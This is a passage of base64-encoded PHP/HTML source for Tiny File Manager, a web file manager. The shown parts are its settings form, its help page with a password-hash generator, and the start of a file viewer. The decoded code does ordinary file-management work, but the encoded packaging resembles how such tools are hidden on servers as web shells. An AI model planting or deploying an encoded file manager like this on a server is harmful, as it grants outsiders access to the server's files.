2RlKEZNX1BBVEgpID8+IiBjbGFzcz0idGV4dC1kYW5nZXIiPjxpIGNsYXNzPSJmYSBmYS10aW1lcy1jaXJjbGUiPjwvaT4gQ2FuY2VsPC9hPjwvYj4KICAgICAgICA8L3A+CiAgICAgICAgPHA+PGk+PD9waHAgZWNobyBsbmcoJ1NlbGVjdCBmb2xkZXInKSA/PjwvaT48L3A+CiAgICAgICAgPHVsIGNsYXNzPSJmb2xkZXJzIGJyZWFrLXdvcmQiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0Ij48L2k+IC4uPC9hPjwvbGk+CiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHsKICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEggLiAnLycgLiAkZiwgJy8nKSkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+Ij48aSBjbGFzcz0iZmEgZmEtZm9sZGVyLW8iPjwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbigkZikgPz48L2E+CiAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICB9CiAgICAgICAgICAgID8+CiAgICAgICAgPC91bD4KICAgIDwvZGl2Pgo8P3BocAogICAgZm1fc2hvd19mb290ZXIoKTsKICAgIGV4aXQ7Cn0KCmlmIChpc3NldCgkX0dFVFsnc2V0dGluZ3MnXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVIKICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aAogICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0Owo/PgoKICAgIDxkaXYgY2xhc3M9ImNvbC1tZC04IG9mZnNldC1tZC0yIHB0LTMiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgbWItMiIgZGF0YS1icy10aGVtZT0iPD9waHAgZWNobyBGTV9USEVNRTsgPz4iPgogICAgICAgICAgICA8aDYgY2xhc3M9ImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlbiI+CiAgICAgICAgICAgICAgICA8c3Bhbj48aSBjbGFzcz0iZmEgZmEtY29nIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdTZXR0aW5ncycpID8+PC9zcGFuPgogICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyBGTV9QQVRIID8+IiBjbGFzcz0idGV4dC1kYW5nZXIiPjxpIGNsYXNzPSJmYSBmYS10aW1lcy1jaXJjbGUtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ2FuY2VsJykgPz48L2E+CiAgICAgICAgICAgIDwvaDY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICA8Zm9ybSBpZD0ianMtc2V0dGluZ3MtZm9ybSIgYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZGF0YS10eXBlPSJhamF4IiBvbnN1Ym1pdD0icmV0dXJuIHNhdmVfc2V0dGluZ3ModGhpcykiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJzZXR0aW5ncyIgYXJpYS1sYWJlbD0iaGlkZGVuIiBhcmlhLWhpZGRlbj0idHJ1ZSI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPgogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJqcy1sYW5ndWFnZSIgY2xhc3M9ImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsIj48P3BocCBlY2hvIGxuZygnTGFuZ3VhZ2UnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS01Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tc2VsZWN0IiBpZD0ianMtbGFuZ3VhZ2UiIG5hbWU9ImpzLWxhbmd1YWdlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ2xvYmFsICRsYW5nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRsYW5nID09ICRsKSA/ICdzZWxlY3RlZCcgOiAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGxhbmdfbGlzdCBhcyAkayA9PiAkdikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSckaycgIiAuIGdldFNlbGVjdGVkKCRrKSAuICI+JHY8L29wdGlvbj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im10LTMgbWItMyByb3cgIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtZXJyb3ItcmVwb3J0IiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNtLTkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1jaGVjayBmb3JtLXN3aXRjaCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNoZWNrLWlucHV0IiB0eXBlPSJjaGVja2JveCIgcm9sZT0ic3dpdGNoIiBpZD0ianMtZXJyb3ItcmVwb3J0IiBuYW1lPSJqcy1lcnJvci1yZXBvcnQiIHZhbHVlPSJ0cnVlIiA8P3BocCBlY2hvICRyZXBvcnRfZXJyb3JzID8gJ2NoZWNrZWQnIDogJyc7ID8+IC8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMgcm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtc2hvdy1oaWRkZW4iIGNsYXNzPSJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbCI+PD9waHAgZWNobyBsbmcoJ1Nob3dIaWRkZW5GaWxlcycpID8+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNtLTkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1jaGVjayBmb3JtLXN3aXRjaCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNoZWNrLWlucHV0IiB0eXBlPSJjaGVja2JveCIgcm9sZT0ic3dpdGNoIiBpZD0ianMtc2hvdy1oaWRkZW4iIG5hbWU9ImpzLXNob3ctaGlkZGVuIiB2YWx1ZT0idHJ1ZSIgPD9waHAgZWNobyAkc2hvd19oaWRkZW5fZmlsZXMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyByb3ciPgogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJqcy1oaWRlLWNvbHMiIGNsYXNzPSJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbCI+PD9waHAgZWNobyBsbmcoJ0hpZGVDb2x1bW5zJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tOSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY2hlY2staW5wdXQiIHR5cGU9ImNoZWNrYm94IiByb2xlPSJzd2l0Y2giIGlkPSJqcy1oaWRlLWNvbHMiIG5hbWU9ImpzLWhpZGUtY29scyIgdmFsdWU9InRydWUiIDw/cGhwIGVjaG8gJGhpZGVfQ29scyA/ICdjaGVja2VkJyA6ICcnOyA/PiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIHJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLTMtMSIgY2xhc3M9ImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS01Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tc2VsZWN0IHctMTAwIHRleHQtY2FwaXRhbGl6ZSIgaWQ9ImpzLTMtMCIgbmFtZT0ianMtdGhlbWUtMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nbGlnaHQnIDw/cGhwIGlmICgkdGhlbWUgPT0gImxpZ2h0IikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJzZWxlY3RlZCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ2xpZ2h0JykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSdkYXJrJyA8P3BocCBpZiAoJHRoZW1lID09ICJkYXJrIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJzZWxlY3RlZCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ2RhcmsnKSA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIHJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI+IDxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKTsgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgIDxzbWFsbCBjbGFzcz0idGV4dC1ib2R5LXNlY29uZGFyeSI+KiA8P3BocCBlY2hvIGxuZygnU29tZXRpbWVzIHRoZSBzYXZlIGFjdGlvbiBtYXkgbm90IHdvcmsgb24gdGhlIGZpcnN0IHRyeSwgc28gcGxlYXNlIGF0dGVtcHQgaXQgYWdhaW4nKSA/Pi48L3NwYW4+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cjw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKaWYgKGlzc2V0KCRfR0VUWydoZWxwJ10pKSB7CiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVIKICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aAogICAgZ2xvYmFsICRjZmcsICRsYW5nOwo/PgoKICAgIDxkaXYgY2xhc3M9ImNvbC1tZC04IG9mZnNldC1tZC0yIHB0LTMiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgbWItMiIgZGF0YS1icy10aGVtZT0iPD9waHAgZWNobyBGTV9USEVNRTsgPz4iPgogICAgICAgICAgICA8aDYgY2xhc3M9ImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlbiI+CiAgICAgICAgICAgICAgICA8c3Bhbj48aSBjbGFzcz0iZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz48L3NwYW4+CiAgICAgICAgICAgICAgICA8YSBocmVmPSI/cD08P3BocCBlY2hvIEZNX1BBVEggPz4iIGNsYXNzPSJ0ZXh0LWRhbmdlciI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZS1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYT4KICAgICAgICAgICAgPC9oNj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTEyIGNvbC1zbS02Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICAgICAgICAgIDxoMz48YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vcHJhc2F0aG1hbmkvdGlueWZpbGVtYW5hZ2VyIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9ImFwcC12LXRpdGxlIj4gVGlueSBGaWxlIE1hbmFnZXIgPD9waHAgZWNobyBWRVJTSU9OOyA/PjwvYT48L2gzPgogICAgICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwPkF1dGhvcjogUFJBxZpBVEggTUFOxLA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwPk1haWwgVXM6IDxhIGhyZWY9Im1haWx0bzpjY3Bwcm9ncmFtbWVyc0BnbWFpbC5jb20iPmNjcHByb2dyYW1tZXJzIFthdF0gZ21haWwgW2RvdF0gY29tPC9hPiA8L3A+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTEyIGNvbC1zbS02Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9Imxpc3QtZ3JvdXAgbGlzdC1ncm91cC1mbHVzaCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0iPjxhIGhyZWY9Imh0dHBzOi8vZ2l0aHViLmNvbS9wcmFzYXRobWFuaS90aW55ZmlsZW1hbmFnZXIvd2lraSIgdGFyZ2V0PSJfYmxhbmsiPjxpIGNsYXNzPSJmYSBmYS1xdWVzdGlvbi1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAgRG9jdW1lbnRzJykgPz4gPC9hPiA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vcHJhc2F0aG1hbmkvdGlueWZpbGVtYW5hZ2VyL2lzc3VlcyIgdGFyZ2V0PSJfYmxhbmsiPjxpIGNsYXNzPSJmYSBmYS1idWciPjwvaT4gPD9waHAgZWNobyBsbmcoJ1JlcG9ydCBJc3N1ZScpID8+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSkgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+PGEgaHJlZj0iamF2YXNjcmlwdDpzaG93X25ld19wd2QoKTsiPjxpIGNsYXNzPSJmYSBmYS1sb2NrIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBqcy1uZXctcHdkIGhpZGRlbiBtdC0yIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMTIiPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz0iZm9ybS1pbmxpbmUiIG9uc3VibWl0PSJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcykiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9InB3ZGhhc2giIGFyaWEtbGFiZWw9ImhpZGRlbiIgYXJpYS1oaWRkZW49InRydWUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBtYi0yIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJzdGF0aWNFbWFpbDIiPjw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBteC1zbS0zIG1iLTIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImlucHV0UGFzc3dvcmQyIiBjbGFzcz0ic3Itb25seSI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIGJ0bi1zbSIgaWQ9ImlucHV0UGFzc3dvcmQyIiBuYW1lPSJpbnB1dFBhc3N3b3JkMiIgcGxhY2Vob2xkZXI9Ijw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpID8+IiByZXF1aXJlZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTIiPjw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZScpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjIiIHJlYWRvbmx5IGlkPSJqcy1wd2QtcmVzdWx0Ij48L3RleHRhcmVhPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cjw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKLy8gZmlsZSB2aWV3ZXIKaWYgKGlzc2V0KCRfR0VUWyd2aWV3J10pKSB7CiAgICAkZmlsZSA9ICRfR0VUWyd2aWV3J107CiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTsKICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOwogICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpIHx8ICFmbV9pc19leGNsdWRlX2l0ZW1zKCRmaWxlLCAkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQoKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCgogICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZmlsZSk7CiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsKCiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpOwogICAgJGZpbGVzaXplX3JhdyA9IGZtX2dldF9zaXplKCRmaWxlX3BhdGgpOwogICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpOwoKICAgICRpc196aXAgPSBmYWxzZTsKICAgICRpc19nemlwID0gZmFsc2U7CiAgICAkaXNfaW1hZ2UgPSBmYWxzZTsKICAgICRpc19hdWRpbyA9IGZhbHNlOwogICAgJGlzX3ZpZGVvID0gZmFsc2U7CiAgICAkaXNfdGV4dCA9IGZhbHNlOwogICAgJGlzX29ubGluZVZpZXdlciA9IGZhbHNlOwoKICAgICR2aWV3X3RpdGxlID0gJ0ZpbGUnOwogICAgJGZpbGVuYW1lcyA9IGZhbHNlOyAvLyBmb3IgemlwCiAgICAkY29udGVudCA9ICcnOyAvLyBmb3IgdGV4dAogICAgJG9ubGluZV92aWV3ZXIgPSBzdHJ0b2xvd2VyKEZNX0RPQ19WSUVXRVIpOwoKICAgIGlmICgkb25saW5lX3ZpZXdlciAmJiAkb25saW5lX3ZpZXdlciAhPT0gJ2ZhbHNlJyAmJiBpbl9hcnJheSgkZXh0LCBmbV9nZXRfb25saW5lVmlld2VyX2V4dHMoKSkpIHsKICAgICAgICAkaXNfb25saW5lVmlld2VyID0gdHJ1ZTsKICAgIH0gZWxzZWlmICgkZXh0ID09ICd6aXAnIHx8ICRleHQgPT0gJ3RhcicpIHsKICAgICAgICAkaXNfemlwID0gdHJ1ZTsKICAgICAgICAkdmlld190aXRsZSA9ICdBcmNoaXZlJzsKICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppZl9pbmZvKCRmaWxlX3BhdGgsICRleHQpOwogICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9pbWFnZV9leHRzKCkpKSB7CiAgICAgICAgJGlzX2ltYWdlID0gdHJ1ZTsKICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7CiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X2F1ZGlvX2V4dHMoKSkpIHsKICAgICAgICAkaXNfYXVkaW8gPSB0cnVlOwogICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJzsKICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdmlkZW9fZXh0cygpKSkgewogICAgICAgICRpc192aWRlbyA9IHRydWU7CiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nOwogICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF90ZXh0X2V4dHMoKSkgfHwgc3Vic3RyKCRtaW1lX3R5cGUsIDAsIDQpID09ICd0ZXh0JyB8fCBpbl9hcnJheSgkbWltZV90eXBlLCBmbV9nZXRfdGV4dF9taW1lcygpKSkgewogICAgICAgICRpc190ZXh0ID0gdHJ1ZTsKICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOwogICAgfQoKPz4KICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgPGRpdiBjbGFzcz0iY29sLTEyIj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJsaXN0LWdyb3VwIHctNTAgbXktMyIgZGF0YS1icy10aGVtZT0iPD9waHAgZWNobyBGTV9USEVNRTsgPz4iPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0gYWN0aXZlIiBhcmlhLWN1cnJlbnQ9InRydWUiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJHZpZXdfdGl0bGUpID8+Ojwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZSkpID8+PC9saT4KICAgICAgICAgICAgICAgIDw/cGhwICRkaXNwbGF5X3BhdGggPSBmbV9nZXRfZGlzcGxheV9wYXRoKCRmaWxlX3BhdGgpOyA/PgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0iPjxzdHJvbmc+PD9waHAgZWNobyAkZGlzcGxheV9wYXRoWydsYWJlbCddOyA/Pjo8L3N0cm9uZz4gPD9waHAgZWNobyAkZGlzcGxheV9wYXRoWydwYXRoJ107ID8+PC9saT4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEYXRlIE1vZGlmaWVkJykgPz46PC9zdHJvbmc+IDw/cGhwIGVjaG8gZGF0ZShGTV9EQVRFVElNRV9GT1JNQVQsIGZpbGVtdGltZSgkZmlsZV9wYXRoKSk7ID8+PC9saT4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdGaWxlIHNpemUnKSA/Pjo8L3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/ICIkZmlsZXNpemVfcmF3IGJ5dGVzIiA6ICRmaWxlc2l6ZTsgPz48L2xpPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0iPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ01JTUUtdHlwZScpID8+Ojwvc3Ryb25nPiA8P3BocCBlY2hvICRtaW1lX3R5cGUgPz48L2xpPgogI